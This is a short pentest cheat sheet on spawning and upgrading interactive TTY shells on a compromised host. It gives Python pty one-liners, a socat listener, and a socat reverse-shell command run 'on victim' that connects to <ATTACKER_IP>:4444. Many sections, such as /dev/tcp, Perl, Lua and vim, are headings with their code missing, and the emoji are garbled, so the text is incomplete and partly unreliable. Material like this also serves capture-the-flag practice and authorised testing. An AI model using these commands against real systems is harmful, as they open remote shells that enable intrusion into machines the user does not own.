Spawn TTY Shells
๐ง Python Methods
python -c 'import pty; pty.spawn("/bin/bash")'python3 -c 'import pty; pty.spawn("/bin/bash")'You can also use:
python -c 'import os; os.system("/bin/bash")'๐ Socat Methods (from attacker and victim)
On attacker (listener):
socat file:`tty`,raw,echo=0 tcp-listen:4444On victim (reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444๐ฆ Script Method (if available on the system)
script /dev/null -c bash๐ง Regaining Full Terminal Control
Suspend with
Ctrl + ZOn the attacker host:
๐ฆ Ensuring Terminal Configuration
๐ผ Adjusting Window Size (prevents errors when using programs like nano, htop, etc.)
nano, htop, etc.)On the attacker host:
On the remote shell:
๐ /dev/tcp and Bash Method (interactive reverse shell)
Once connected, you can upgrade the shell with stty (explained below).
๐ Shell Upgrade with System Commands (stty and export)
Once you use any of the above methods (like python -c 'pty.spawn(...)'), you can further improve it with:
Then, type:
๐งฌ With Perl
Or with pseudo-terminal:
โ With Java
If Runtime.exec() is accessible:
(Generally not very useful manually, but useful in Java app exploitation).
๐ฆฅ With Lua
๐งฑ With Awk
๐งช With Tcl
๐งโโ๏ธ With vi or vim (command mode)
Or:
๐๏ธ With nmap (if it has scripting with --interactive)
๐พ With Docker / Chroot / chsh if you have permissions
Or if you can change your shell:
๐ง Useful Tips
If you have a shell without colors or history, export:
To check if a TTY is assigned:
Last updated